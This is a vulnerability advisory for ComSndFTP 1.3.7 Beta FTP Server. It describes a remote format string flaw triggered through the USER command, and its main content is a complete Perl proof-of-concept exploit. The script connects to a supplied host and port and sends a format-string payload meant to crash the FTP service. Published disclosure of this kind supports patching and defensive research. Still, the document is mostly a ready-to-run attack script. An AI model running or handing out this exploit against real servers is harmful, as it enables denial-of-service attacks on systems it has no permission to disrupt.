ComSndFTP 1.3.7 Beta Format String Overflow

`Title: ComSndFTP Server Remote Format String Overflow Vulnerability  
Software : ComSndFTP FTP Server  
  
Software Version : ComSndFTP 1.3.7 Beta  
  
Vendor: http://ftp.comsnd.com/  
  
Vulnerability Published : 2012-06-07  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)  
  
Bug Description :  
ComSndFTP Server is a free ftp server for windows.  
It is possible for remote attackers to use USER command with any format string that will lead to a Denial Of Service flaw for the FTP service.  
  
Proof Of Concept :  
-----------------------------------------------------------  
#!/usr/bin/perl -w  
#ComSndFTP Server Remote Format String Overflow Exploit  
#Written by [email protected]  
use IO::Socket;  
$|=1;  
$host=shift || die "$0 \$host \$port\n";  
$port=shift || die "$0 \$host \$port\n";  
$evil = '%s%p%x%d';  
print "Launch Attack ... ";  
$sock1=IO::Socket::INET->new(PeerAddr=>$host, PeerPort=>$port, Proto=>'tcp', Timeout=>30) || die "HOST $host PORT $port is down!\n";  
if(defined($sock1)){  
$sock1->recv($content, 100, 0);  
sleep(2);  
$sock1->send("USER ".$evil."\r\n", 0);  
sleep(2);  
$sock1->recv($content, 100, 0);  
sleep(5);  
$sock1->close;  
}  
print "Finish!\n";  
exit(1);  
-----------------------------------------------------------  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Pentester/Independent Researcher  
Dark2S Security Team/HongKong PolyU  
`